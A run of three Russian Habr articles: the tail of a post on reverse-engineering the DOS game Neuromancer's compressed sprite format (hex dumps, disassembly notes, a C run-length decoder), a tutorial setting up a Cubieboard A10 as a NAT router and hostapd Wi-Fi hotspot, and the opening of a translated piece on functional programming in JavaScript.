0x00A0: 5D5F 66D1 E5E3 3F2B AC42 7C5E 3AF1 9F95
0x00B0: D7D9 E8E9 3D75 62DE 9B05 86E6 0EBF 794C
0x00C0: 1D0B 3A76 9A97 31BA 1274 ED75 2663 FE79
0x00D0: 175F BC87 FD58 9B6F DD0B 12F2 652F 12FB
0x00E0: 1E99 5E37 B24C 424C 4F4C AF1B 6CC4 BEC7
0x00F0: C99F C0
```
Это точно не битмап, а значит нужно прикинуть варианты того, чем это может быть *[в порядке увеличения сложности]*:
* это сжатое изображение какого либо известного формата
* это данные, сжатые некоторым известным алгоритмом общего назначения
* это данные, сжатые некоторым собственным (для *Interplay*) алгоритмом
Первый вариант отпал достаточно быстро. Перепробовав с дюжину различных расширений и программ-просмотрщиков я так и не смог открыть этот файл. Доходило до экзотики — нагуглил, что изображения с расширением `.imh` используются в специльном астрономическом (буквально — им пользуются астрономы) программном комплексе *IRAF (Image Reduction and Analysis Facility)*. Но и это мимо.
На этом этапе для меня не было большой разницы между вторым и третьим вариантом. Конечно, зная конкретный алгоритм, было бы куда проще реализовать его на высокоуровневом языке или, что ещё лучше, взять готовую реализацию. Однако, не являясь экспертом (и даже не любителем) в области сжатия данных, идентифицировать алгоритм по дизассемблированному коду или по каким-то сигнатурам крайне затруднительно. В любом случае, задача сводилась к тому, чтобы выделить в *IDA* участок кода, отвечающий за декомпрессию данных, и адаптировать его под 64-битный *Ассемблер* (в моём случае — *MASM*).
И мне повезло. Мой `CURSORS.IMH` подгружается в `main`-е одним из первых:
```
...
mov ax, 2
mov dx, seg seg009
push dx
push ax
mov ax, 506Ah ; "cursors.imh"
push ax
call sub_126CB
...
```
Дальше следовала долгая и упорная трассировка функции `sub_126CB`. Но игра стоила свеч. Результат работы этой функции обнаруживаем по адресу, хранящемуся в `dx`:
```
0x0000: 0000 0000 0800 0A00 0666 6666 6666 6600
0x0010: 6777 7777 7777 7760 6777 7777 7766 7776
0x0020: 0666 6676 6677 7776 0006 7767 7777 7766
0x0030: 0000 6667 7777 7676 0000 6776 6666 6776
0x0040: 0000 0666 6667 7766 0000 0067 7677 7660
0x0050: 0000 0006 6666 6600 0400 0000 0600 0C00
0x0060: 0000 3000 0000 0003 B300 0000 003B BB30
0x0070: 0000 03BB BBB3 0000 3BBB BBBB 3000 333B
0x0080: BB33 3000 003B BB30 0000 003B BB30 0000
0x0090: 003B BB30 0000 003B BB30 0000 003B BB30
0x00A0: 0000 0033 3330 0000 0B00 0400 0600 0900
0x00B0: 0000 0033 0000 0000 003B 3000 3333 333B
0x00C0: B300 3BBB BBBB BB30 3BBB BBBB BBB3 3BBB
0x00D0: BBBB BB30 3333 333B B300 0000 003B 3000
0x00E0: 0000 0033 0000 0400 0B00 0600 0C00 0033
0x00F0: 3330 0000 003B BB30 0000 003B BB30 0000
0x0100: 003B BB30 0000 003B BB30 0000 003B BB30
0x0110: 0000 333B BB33 3000 3BBB BBBB 3000 03BB
0x0120: BBB3 0000 003B BB30 0000 0003 B300 0000
0x0130: 0000 3000 0000 0000 0400 0600 0900 0000
0x0140: 3300 0000 0003 B300 0000 003B B333 3333
0x0150: 03BB BBBB BBB3 3BBB BBBB BBB3 03BB BBBB
0x0160: BBB3 003B B333 3333 0003 B300 0000 0000
0x0170: 3300 0000
```
Вот это уже похоже на битмап! А если это действительно так, по покрутив эти данные, я должен получить картинку. Пробую составлять ряды используя различные значения ширины — безрезультатно. Обращаю внимание на значения 5-го (`0x08`) и 7-го (`0x0A`) байтов. Допустим, это ширина и высота, умножаем, отсчитываем следующие 80 байт (`0x08 * 0x0A = 50 (80)`):
```
0x0008: 0666 6666 6666 6600 6777 7777 7777 7760
0x0018: 6777 7777 7766 7776 0666 6676 6677 7776
0x0028: 0006 7767 7777 7766 0000 6667 7777 7676
0x0038: 0000 6776 6666 6776 0000 0666 6667 7766
0x0048: 0000 0067 7677 7660 0000 0006 6666 6600
```
Составляем так, что бы в ряду было 8 байт, а всего рядов было 10:
```
0666 6666 6666 6600
6777 7777 7777 7760
6777 7777 7766 7776
0666 6676 6677 7776
0006 7767 7777 7766
0000 6667 7777 7676
0000 6776 6666 6776
0000 0666 6667 7766
0000 0067 7677 7660
0000 0006 6666 6600
```
 Это оно! *[Я это знал, поскольку видел, как выглядел курсор на экране]*. Пробую завернуть эти данные в `.BMP` заголовок со стандартной палитрой — что-то рисует, но совсем не то, что я ожидал. Ставлю в отладчике брейкпоинт на именение состояния байтов видеопамяти (`0xA000+`), что бы увидеть, что на самом деле выводится на экран. Понимаю, что нужно добавить нулей *[сделайте в браузере поиск по занчению "06" и, в массиве ниже, вы уидите нечто похожее на ладонь с оттопыренным указательным пальцем]*:
```
00 06 06 06 06 06 06 06 06 06 06 06 06 06 00 00
06 07 07 07 07 07 07 07 07 07 07 07 07 07 06 00
06 07 07 07 07 07 07 07 07 07 06 06 07 07 07 06
00 06 06 06 06 06 07 06 06 06 07 07 07 07 07 06
00 00 00 06 07 07 06 07 07 07 07 07 07 07 06 06
00 00 00 00 06 06 06 07 07 07 07 07 07 06 07 06
00 00 00 00 06 07 07 06 06 06 06 06 06 07 07 06
00 00 00 00 00 06 06 06 06 06 06 07 07 07 06 06
00 00 00 00 00 00 06 07 07 06 07 07 07 06 06 00
00 00 00 00 00 00 00 06 06 06 06 06 06 06 00 00
```
Заворачиваю *эти* (и оставшиеся в исходном массиве) данные в `BMP` и получаю на выходе вот такие картинки (здесь, чуть увеличенные):
    
---
Обнаружилось, что первые 20 байт `CURSORS.IMH` *[и остальных `.IMH`]* загружаются в другую область памяти и не учавствуют в декомпрессии. Сперва подумал, что это палитра, но нет, корректные цвета получаются с использованием стандартной (на рисунке выше). *[В коде я нашёл место, в котором происходит обращение к этой памяти, но пока не разбирался, что именно там происходит]*.
Переписал функцию `sub_126CB`, всего вышло около 800 строк *MASM*-а. Но оно работает, и теперь я могу распаковать любой `.IMH`-ресурс. Иллюстрация в заголовке, кстати, оттуда же (`TITLE.IMH`). А вот спрайты главного героя (`SPRITES.IMH`):
       
Да, я могу распаковать *любой* `.IMH`-ресурс, но не все сразу. При переносе кода на 64-битный *Ассемблер* я допустил ошибки связанные с переносом разрядов при сложении адресов, из-за этого, даже на одном ресурсе, программа работает через раз. Но это поправимо, нужно лишь переписать этот код так, как если бы я изначально проектировал его под 64-битную платформу. В идеале, переписать его на *Си*, тогда эти ошибки упразднятся сами собой. Однако, по тому, что я увидел, у меня никак не складывался алгоритм, а переписывая обфусцированный *Ассемблер* на *Си*, есть риск получить ещё более обфусцированный *Си*. Мне нужна была помощь. Сняв данные в ключевых точках, я опубликовал вопрос на [*Reverse Engineering StackExchange*](https://reverseengineering.stackexchange.com/questions/17770/need-help-in-compression-algorithm-identification/) в надежде, что по этим данным кто-нибудь сможет определить — с каким-именно алгоритмом сжатия я имею дело.
**Need help in compression algorithm identification**Currently I'm in reversing an old MS-DOS **Neuromancer** game (Interplay Productions, 1988. Based on William Gibson's novel). For now I have already written an utility that parses game resources and extracts sprites. Sprites are bitmaps that compressed with some fancy algorithm. I have restored that algorithm by porting it's 16-bit disassembly to 64-bit assembly (I'm working on *Windows 10* and using *MASM* in *MSVS 2017*). It results in ~800 lines of pretty obfuscated assembly (which became even more obfuscated after porting it to 64-bit) that works and I'm about rewriting it in plain old *C*. However it makes no sense because i can't identify an actual algorithm.
And here is the problem. I assume that the game uses some widly known data compression algorithm. I will provide an example by posting chunks of data that are observable during the decompression process. I hope that there are some compression experts who will recognize the algorithm (if my theory about "widly known algorithm" is correct). Thank you in advance!
---
Here we go, decompressing CURSORS.IMH file that contains a series of bitmaps that shows diffrent in-game cursors:
```
SRC: Initial data, 211 bytes stored in 512 byte buffer:
0x0000 3f 01 00 00 04 40 7e ec d0 c2 2d 0a 46 a3 3f f2
0x0010 71 11 62 30 64 0e 10 4c e0 c5 85 05 fc ff 50 01
0x0020 04 c0 26 0f e2 c0 85 c2 50 17 fa 05 54 b0 6c 2d
0x0030 74 13 e9 c7 45 1d d8 b6 2c 18 e7 14 7b 8b d7 9b
0x0040 bb e5 eb 60 4d 2f ef 70 3a 1e 42 fe d9 c0 5d c0
0x0050 eb cd ee 07 b9 bf 82 1c 01 41 bb 15 36 0b 74 3a
0x0060 4b c8 74 9e 45 d7 5b 26 63 f4 24 e9 da ea 5c c6
0x0070 e8 59 d7 93 41 f7 94 df b7 ac 4d b7 ef c2 cc 4f
0x0080 5d 5f 66 d1 e5 e3 3f 2b ac 42 7c 5e 3a f1 9f 95
0x0090 d7 d9 e8 e9 3d 75 62 de 9b 05 86 e6 0e bf 79 4c
0x00A0 1d 0b 3a 76 9a 97 31 ba 12 74 ed 75 26 63 fe 79
0x00B0 17 5f bc 87 fd 58 9b 6f dd 0b 12 f2 65 2f 12 fb
0x00C0 1e 99 5e 37 b2 4c 42 4c 4f 4c af 1b 6c c4 be c7
0x00D0 c9 9f c0
```
Processing starts from the fist byte of `SRC` and suspends on 44th byte. Here is the intermediate result of that processing stored in 2048 byte buffer located right after the `SRC` buffer (actually, there are 10 bytes between them, where among other things an address of 44th byte is stored):
```
0x0200 00 80 01 00 5c ea 3f 01 00 00
0x020A 02 00 02 00 0e 00 04 00 1f 00 05 00 04 00 04 00
0x021A 18 00 05 00 3a 00 07 00 0d 00 05 00 00 00 00 00
0x022A 05 00 04 00 df 00 08 00 0d 00 08 00 de 00 08 00
0x023A 05 00 07 00 00 00 00 00 00 00 00 00 00 00 00 00
0x024A 00 00 05 00 05 00 05 00 00 00 00 00 00 00 00 00
0x025A 00 00 00 00 00 00 00 00 0c 00 08 00 00 00 00 00
0x026A 00 00 00 00 0f 00 08 00 0e 00 08 00 00 00 00 00
... ZEROES ...
0x02CA 1a 00 05 00 00 00 00 00 00 00 00 00 0c 00 05 00
0x02DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x02EA 04 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00
... ZEROES ...
0x038A 6e 00 07 00 1c 00 06 00 00 00 00 00 00 00 00 00
0x039A 00 00 00 00 00 00 00 00 09 00 08 00 00 00 00 00
... ZEROES ...
0x040A 19 00 05 00 00 00 00 00 00 00 00 00 07 00 05 00
0x041A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x042A 06 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00
... ZEROES ...
0x05EA 00 00 00 00 3b 00 07 00 00 00 00 00 08 00 08 00
0x05FA 36 00 06 00 0f 00 05 00 1e 00 05 00 01 00 04 00
0x060A 05 10 00 00 05 10 00 00 05 10 00 00 05 10 00 00
0x061A 05 10 00 00 05 10 00 00 05 10 00 00 05 10 00 00
0x062A 08 fb 00 00 08 66 00 00 07 0c 00 00 07 0c 00 00
0x063A 08 16 00 00 08 0a 00 00 08 1a 00 00 08 19 00 00
0x064A 04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00
0x065A 04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00
0x066A 04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00
0x067A 04 ff 00 00 04 ff 00 00 04 ff 00 00 04 ff 00 00
0x068A 05 38 00 00 05 38 00 00 05 38 00 00 05 38 00 00
0x069A 05 38 00 00 05 38 00 00 05 38 00 00 05 38 00 00
0x06AA 05 11 00 00 05 11 00 00 05 11 00 00 05 11 00 00
0x06BA 05 11 00 00 05 11 00 00 05 11 00 00 05 11 00 00
0x06CA 05 88 00 00 05 88 00 00 05 88 00 00 05 88 00 00
0x06DA 05 88 00 00 05 88 00 00 05 88 00 00 05 88 00 00
0x06EA 05 83 00 00 05 83 00 00 05 83 00 00 05 83 00 00
0x06FA 05 83 00 00 05 83 00 00 05 83 00 00 05 83 00 00
0x070A 04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00
0x071A 04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00
0x072A 04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00
0x073A 04 03 00 00 04 03 00 00 04 03 00 00 04 03 00 00
0x074A 04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00
0x075A 04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00
0x076A 04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00
0x077A 04 08 00 00 04 08 00 00 04 08 00 00 04 08 00 00
0x078A 05 33 00 00 05 33 00 00 05 33 00 00 05 33 00 00
0x079A 05 33 00 00 05 33 00 00 05 33 00 00 05 33 00 00
0x07AA 05 06 00 00 05 06 00 00 05 06 00 00 05 06 00 00
0x07BA 05 06 00 00 05 06 00 00 05 06 00 00 05 06 00 00
0x07CA 06 61 00 00 06 61 00 00 06 61 00 00 06 61 00 00
0x07DA 07 05 00 00 07 05 00 00 07 f9 00 00 07 f9 00 00
0x07EA 05 fd 00 00 05 fd 00 00 05 fd 00 00 05 fd 00 00
0x07FA 05 fd 00 00 05 fd 00 00 05 fd 00 00 05 fd 00 00
0x080A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x081A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x082A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x083A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x084A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x085A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x086A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x087A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x088A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x089A 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x08AA 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x08BA 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x08CA 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x08DA 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x08EA 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x08FA 02 00 00 00 02 00 00 00 02 00 00 00 02 00 00 00
0x090A 05 04 00 00 05 04 00 00 05 04 00 00 05 04 00 00
0x091A 05 04 00 00 05 04 00 00 05 04 00 00 05 04 00 00
0x092A 05 80 00 00 05 80 00 00 05 80 00 00 05 80 00 00
0x093A 05 80 00 00 05 80 00 00 05 80 00 00 05 80 00 00
0x094A 05 30 00 00 05 30 00 00 05 30 00 00 05 30 00 00
0x095A 05 30 00 00 05 30 00 00 05 30 00 00 05 30 00 00
0x096A 06 fc 00 00 06 fc 00 00 06 fc 00 00 06 fc 00 00
0x097A 07 60 00 00 07 60 00 00 08 0b 00 00 08 09 00 00
0x098A 04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00
0x099A 04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00
0x09AA 04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00
0x09BA 04 01 00 00 04 01 00 00 04 01 00 00 04 01 00 00
0x09CA 05 fe 00 00 05 fe 00 00 05 fe 00 00 05 fe 00 00
0x09DA 05 fe 00 00 05 fe 00 00 05 fe 00 00 05 fe 00 00
0x09EA 05 02 00 00 05 02 00 00 05 02 00 00 05 02 00 00
0x09FA 05 02 00 00 05 02 00 00 05 02 00 00 05 02 00 00
```
Processing continues from 44th byte of `SRC`. The remaining bytes are processed with result stored in external intemediate buffer:
```
IMM: Intermediate data, 319 bytes:
0x0000 00 00 00 00 08 00 0a 00 ff 06 05 66 fe 00 61 05
0x0010 11 ff 60 04 00 fc 11 00 16 61 01 11 ff 01 01 11
0x0020 01 00 fe 06 60 02 11 01 00 fc 10 00 06 11 02 00
0x0030 fe 01 10 01 00 ff 01 03 11 02 00 fc 61 10 00 01
0x0040 01 10 01 00 fe 06 01 01 10 fe 01 06 02 00 fb 61
0x0050 10 11 10 60 04 00 00 00 06 00 0c 00 01 00 ff 30
0x0060 03 00 fe 03 83 03 00 fd 38 08 30 01 00 fc 03 80
0x0070 00 83 01 00 ff 38 01 00 f9 08 30 00 08 80 00 88
0x0080 01 00 ff 33 01 00 fe 03 30 19 00 fe 08 88 02 00
0x0090 0b 00 04 00 06 00 09 00 02 00 ff 33 04 00 fd 08
0x00A0 30 00 02 33 fc 00 83 00 08 01 88 fd 80 08 30 04
0x00B0 00 ff 83 04 00 fe 83 08 01 88 fd 80 08 30 02 33
0x00C0 fe 00 83 03 00 fd 08 30 00 04 00 0b 00 06 00 0c
0x00D0 00 ff 00 01 33 ff 30 02 00 fe 08 88 1a 00 ff 33
0x00E0 01 00 f9 03 30 00 08 80 00 88 01 00 ff 38 01 00
0x00F0 f9 08 30 00 03 80 00 83 02 00 fd 38 08 30 02 00
0x0100 fe 03 83 02 00 00 00 04 00 06 00 09 00 01 00 ff
0x0110 33 03 00 fe 03 80 03 00 fe 38 00 02 33 fd 03 80
0x0120 08 01 88 fe 80 38 04 00 ff 38 04 00 fd 03 80 08
0x0130 01 88 fc 80 00 38 00 02 33 fd 00 03 80 02 00
```
Finally, some processing performed on `IMM` and we have the result:
```
DST: The Result, 372 bytes:
0x0000 00 00 00 00 08 00 0A 00 06 66 66 66 66 66 66 00
0x0010 67 77 77 77 77 77 77 60 67 77 77 77 77 66 77 76
0x0020 06 66 66 76 66 77 77 76 00 06 77 67 77 77 77 66
0x0030 00 00 66 67 77 77 76 76 00 00 67 76 66 66 67 76
0x0040 00 00 06 66 66 67 77 66 00 00 00 67 76 77 76 60
0x0050 00 00 00 06 66 66 66 00 04 00 00 00 06 00 0C 00
0x0060 00 00 30 00 00 00 00 03 B3 00 00 00 00 3B BB 30
0x0070 00 00 03 BB BB B3 00 00 3B BB BB BB 30 00 33 3B
0x0080 BB 33 30 00 00 3B BB 30 00 00 00 3B BB 30 00 00
0x0090 00 3B BB 30 00 00 00 3B BB 30 00 00 00 3B BB 30
0x00A0 00 00 00 33 33 30 00 00 0B 00 04 00 06 00 09 00
0x00B0 00 00 00 33 00 00 00 00 00 3B 30 00 33 33 33 3B
0x00C0 B3 00 3B BB BB BB BB 30 3B BB BB BB BB B3 3B BB
0x00D0 BB BB BB 30 33 33 33 3B B3 00 00 00 00 3B 30 00
0x00E0 00 00 00 33 00 00 04 00 0B 00 06 00 0C 00 00 33
0x00F0 33 30 00 00 00 3B BB 30 00 00 00 3B BB 30 00 00
0x0100 00 3B BB 30 00 00 00 3B BB 30 00 00 00 3B BB 30
0x0110 00 00 33 3B BB 33 30 00 3B BB BB BB 30 00 03 BB
0x0120 BB B3 00 00 00 3B BB 30 00 00 00 03 B3 00 00 00
0x0130 00 00 30 00 00 00 00 00 04 00 06 00 09 00 00 00
0x0140 33 00 00 00 00 03 B3 00 00 00 00 3B B3 33 33 33
0x0150 03 BB BB BB BB B3 3B BB BB BB BB B3 03 BB BB BB
0x0160 BB B3 00 3B B3 33 33 33 00 03 B3 00 00 00 00 00
0x0170 33 00 00 00
```
Decompression completed and it's easy to derive bitmaps like this:
1. Get first 8 bytes of DST: `00 00 00 00 08 00 0A 00`
2. Multiply last 2 words: `08 * 0A = 50 (80)`
3. Get next 80 bytes of DST :
```
06 66 66 66 66 66 66 00 67 77 77 77 77 77 77 60
67 77 77 77 77 66 77 76 06 66 66 76 66 77 77 76
00 06 77 67 77 77 77 66 00 00 66 67 77 77 76 76
00 00 67 76 66 66 67 76 00 00 06 66 66 67 77 66
00 00 00 67 76 77 76 60 00 00 00 06 66 66 66 00
```
4. Arrange those bytes assuming that 08 and 0A are width and height respectively:
```
06 66 66 66 66 66 66 00
67 77 77 77 77 77 77 60
67 77 77 77 77 66 77 76
06 66 66 76 66 77 77 76
00 06 77 67 77 77 77 66
00 00 66 67 77 77 76 76
00 00 67 76 66 66 67 76
00 00 06 66 66 67 77 66
00 00 00 67 76 77 76 60
00 00 00 06 66 66 66 00
```
5. Extend this with zeroes:
```
00 06 06 06 06 06 06 06 06 06 06 06 06 06 00 00
06 07 07 07 07 07 07 07 07 07 07 07 07 07 06 00
06 07 07 07 07 07 07 07 07 07 06 06 07 07 07 06
00 06 06 06 06 06 07 06 06 06 07 07 07 07 07 06
00 00 00 06 07 07 06 07 07 07 07 07 07 07 06 06
00 00 00 00 06 06 06 07 07 07 07 07 07 06 07 06
00 00 00 00 06 07 07 06 06 06 06 06 06 07 07 06
00 00 00 00 00 06 06 06 06 06 06 07 07 07 06 06
00 00 00 00 00 00 06 07 07 06 07 07 07 06 06 00
00 00 00 00 00 00 00 06 06 06 06 06 06 06 00 00
```
Thats it! Wrapping it in BMP header gives us a cute cursor image.
Мне опять повезло! Оказалось, что там последовательно применяются два алгоритма. Первый — некий неизвестный алгоритм сжатия, а второй — разновидность *Run-Length* кодирования *[здесь, я не буду расписывать какая именно — это я сделал в ответе на свой же вопрос на Reverse Exchange]*. В итоге, вторая часть, вместо ~400 строк *Ассемблера*, уместилась в 50 строк на *Си*:
**decode\_rle**
```
typedef struct rle_hdr_t
{
uint32_t unknown;
uint16_t width;
uint16_t height;
} rle_hdr_t;
static int decode_rle(uint8_t *_src, uint32_t len, uint8_t *_dst)
{
uint32_t total_len = 0;
uint8_t *src = _src, *dst = _dst;
rle_hdr_t *rle;
while (len)
{
uint32_t bm_size = 0, bm_width = 0, bm_height = 0;
uint8_t *p = NULL;
rle = (rle_hdr_t*)src;
bm_width = rle->width;
bm_height = rle->height;
bm_size = bm_width * bm_height;
memmove(dst, src, sizeof(rle_hdr_t));
total_len += sizeof(rle_hdr_t) + bm_size;
src += sizeof(rle_hdr_t);
dst += sizeof(rle_hdr_t);
len -= sizeof(rle_hdr_t);
p = dst;
while (bm_size)
{
if (*src > 0x7F)
{
int i = 0x100 - *src++;
len--;
while (i--)
{
*dst++ = *src++;
bm_size--;
len--;
}
}
else
{
int num = *src++, val = *src++;
len -= 2;
memset(dst, val, (size_t)++num);
dst += num;
bm_size -= num;
}
}
for (uint32_t i = 0; i < bm_height - 1; i++)
{
for (uint32_t j = 0; j < bm_width; j++)
{
p[((i + 1)*bm_width) + j] ^= p[(i*bm_width) + j];
}
}
}
return total_len;
}
```
После, я довёл до ума первую часть функции и закончил программу распаковывающую *все* `.IMH`-ресурсы. Из 27-ми таких ресурсов получилось 108 `BMP` изображений.
---
Пока на этом всё. Как я уже сказал в начале, я намерен продолжать. Следующим шагом планирую окончательно разобраться с графикой (`.PIC`) и перейти на текст. Возможно, в скором времени выложу свои наработки на *github*. И посмотрим куда меня это приведёт. Надеюсь, не в суд :)
> [Реверсим «Нейроманта». Часть 2: Рендерим шрифт](https://habr.com/post/357972/) | https://habr.com/ru/post/352050/ | null | ru | null |
# Cubieboard A10 как роутер и точка WiFi hotspot
Доброе время суток Хабра народ, я хотел бы показать реализацию роутера и точки WIFI доступа на базе miniPC Cubieboard A10. На данную тематику довольно много мануалов как на Хабре так и на просторах интернета но полностью рабочей инструкции так и не удалось отыскать.
Что имеется:
Роутер: старый добрый Dlink — Dir 300 с последней прошивкой, верой и правдой долгое время он мне прослужил, заменой его стало то что в доме всё больше появлялось устройств которые поддерживали стандарт WIFI 802.11 n, а у него с этим проблемы, при полной настройке он выдавал скорость 75 Мбит/c это было связанно с 1 антенной.
На его замену был приобретён Cubieboard A10 также в ходе мероприятий были приобретены два WIFi USB модуля TP-LINK721N и TP-LINK722N.
Приступим к установке:
На чистый Cubieboar устанавливаем в NAND память Cubian(это OS на базе Debian для этого miniPC). Я думаю тут не каких непонятностей не должно возникнуть так как на github есть очень хороший мануал, с помощью него и ставил, единственное что у меня возникла трудность в том что он всё равно загружался только с карты памяти, я решил это с помощью правки файла /boot/uEnv.txt, в нём вторая строка была переписана примерно так
```
root=/dev/nandb rootwait
```
Загружаемся уже с NAND памяти, и настраиваем сеть, в многих мануалах есть способ с помощью моста, но мне этот способ подошёл когда в моей связке, для пробного раза, был Dir-300, то есть интернет--Dir-300--Cubieboar--PC, если из этой связки убрать Dir-300 и делать с помощью моста то cubieboard не мог пинговать основной шлюз моего провайдера, и я решил данную проблему с помощью NAT
мой файл /etc/network/interfaces имеет следующий виде:
```
# the loopback interface
auto lo
iface lo inet loopback
# Карта провайдера
auto eth0
iface eth0 inet static
address 178.210.208.39
netmask 255.255.255.128
gateway 178.210.208.1
dns-nameservers 178.210.192.2
pre-up ifconfig eth0 down hw ether 02:c3:0b:82:c1:cb
auto wlan2 #wifi карта
iface wlan2 inet static
address 192.168.0.1
netmask 255.255.255.0
```
Хотел бы обратить внимание на эту строку
```
pre-up ifconfig eth0 down hw ether 02:c3:0b:82:c1:cb
```
В Cubiane стоит присваивание случайных MAC адресов (не знаю зачем) но мой провайдер использует привязку по MAC адресу и по этому собственно перед включением карты он устанавливает мой мак адрес.
После этого мы перезагружаем сеть
```
sudo /etc/init.d/networking restart
```
Также нужно добавить dns адреса
```
sudo nano /etc/resolv.conf
```
и вводим ваши dns адреса по типу
```
nameserver ip dns сервера
nameserver ip dns сервера
```
Настройка NAT:
Записываем правило iptables в автозагрузку для POSTROUTING.
```
sudo nano /etc/rc.local
```
И вписываем
```
/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
Так же в файле
```
sudo nano /etc/sysctl.conf
```
раскомментируем строку
```
net.ipv4.ip_forward=1
```
После этого пробуем пропинговать что либо
```
ping google.com
```
если проходят пинги очень хорошо.
На данном этапе мы имеем Cubieboard с интернетом далее будем реализовывать WIFI hotspot с помощью hostapd
Устанавливаем hostapd
Можно устанавливать из репозиториев но там очень старая версия она и не стабильна, и плохо поддерживает 802.11n по этому предлагаю скомпилировать:
```
git clone git://w1.fi/srv/git/hostap.git
```
перед компиляцией добавим 1 новый параметр в файл конфигурации, что бы hostapd работало только на 40 Mhz (обеспечит нам скорость в 150 Мбит/c)
лично я не умею пользоваться patch по этому скопировал и вставлял руками из баг-трекера
[dev.openwrt.org/browser/trunk/package/hostapd/patches/400-noscan.patch?rev=33392](https://dev.openwrt.org/browser/trunk/package/hostapd/patches/400-noscan.patch?rev=33392)
после этого
```
cd hostap/hostapd
cp defconfig .config
nano .config
```
Нам нужно добавить строчку
```
CONFIG_IEEE80211N=y
```
и можем компилировать
```
sudo make
```
после компиляции добавим файл конфигурации
```
nano conf
```
вот мой файл
```
interface=wlan2
driver=nl80211
ssid=SupaAP
country_code=RU
hw_mode=g
macaddr_acl=0
auth_algs=1
logger_syslog=-1
logger_syslog_level=3
logger_stdout=-1
logger_stdout_level=2
ignore_broadcast_ssid=0
ieee80211n=1
ht_capab=[HT40-][HT40+][SHORT-GI-40][RX-STBC1][DSSS_CCK-40]
channel=7
wmm_enabled=1
noscan=1
wpa=1
wpa_passphrase=PASSWORD
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
```
с полным списком значений файла конфигурации и описанием можно ознакомиться на официальном сайте ([link](http://hostap.epitest.fi/cgit/hostap/plain/hostapd/hostapd.conf))
после этого пробуем запустить
```
./hostapd conf
```
Проверяем на работоспособность. Так как у нас нет DHCP сервера настройки нужно ввести в ручную, в поле DNS я ставил DNS моего провайдера, после этих манипуляций у меня появился интернет, и я сразу же стал тестировать скорость, и был очень огорчён.
Показатели скорости были мягко говоря не очень, причём с долей магии, по WIFI скорость загрузки была примерно 1.2 Мбит/c где Dir-300 загружал 3.5 Мбит/c, я грешил на USB WIFI адаптеры мол правы были умные люди как на форме так и на хабре скептически относящиеся к данного рода затеям, но на прямую попробовав скачать wget был ошарашен, скорость не превышала 300 кбит/c, как минимум это было странно. Данная проблема была в ядре самого Cubian-a я, я заменил ядро на ядро так называемого Романа (https://romanrm.net/a10) и скорость возрастала до 6.9 Мбит/c через wget, и до 4-5 Мбит/c по WIFI что хоть немного меня взбодрило.
##### Выводы:
Cubieboard ни имеет смыла реализовывать как роутер и Wifi точку доступа, большого прироста к скорости она не даёт, да и за такие деньги можно было купить средний роутер куда по шустрее. Но в данной работе я преследовал не эти цели и мотивы, целью было поработать с nix подобной системой и консолью чего с лихвой мне хватило, далее кубик будет и далее использоваться как роутер у меня, на нем сейчас пока крутиться nginx + apache для теста своих веб приложений и так далее. | https://habr.com/ru/post/215401/ | null | ru | null |
# [Перевод] Не стоит бояться функционального программирования
Представляю вашему вниманию перевод проскользнувшей недавно в ссылках [дайджеста](http://habrahabr.ru/post/228757/) [статьи](http://www.smashingmagazine.com/2014/07/02/dont-be-scared-of-functional-programming/) Джонатана Моргана о функциональном программировании на примере JavaScript. Материал рассчитан на начинающих, но тем не менее он достаточно интересен.
Буду признателен за конструктивные замечания и предложения по опечаткам, переводу и/или оформлению. Приятного чтения!
#### Не стоит бояться функционального программирования
**Функциональное программирование — усатый хипстер от парадигм программирования. Будучи продуктом времён академического становления компьютерных наук, функциональное программирование не так давно пережило возрождение благодаря большой пользе при использовании в распределённых системах (и, вероятно, благодаря тому, что «чистые» функциональные языки вроде Haskell непросто понять, что также накладывает свой отпечаток).**
Более строгие функциональные языки программирования, как правило, используются, когда производительность и слаженность критичны — например, если программа всегда должна делать именно то, что от неё ожидается, и должна работать в среде, где задачи могут быть разделены между сотнями и тысячами объединённых в сеть компьютеров. Clojure, например, лежит в основе Akamai, огромной сети доставки контента, используемой компаниями вроде Facebook, а Twitter отлично адаптировал Scala для своих самых требовательных к производительности компонентов, а AT&T использует Haskell для систем безопасности своих сетей.
Для большинства фронтенд-разработчиков эти языки имеют крутую кривую обучения; однако, многие более простые и доступные языки имеют черты функционального программирования — хотя бы тот же Python с его стандартной библиотекой и её функциями вроде `map` и `reduce` (о которых мы ещё поговорим) и сторонними библиотеками вроде Fn.py, или же JavaScript, активно использующий методы работы с коллекциями и имеющий библиотеки вроде Underscore.js и Bacon.js.
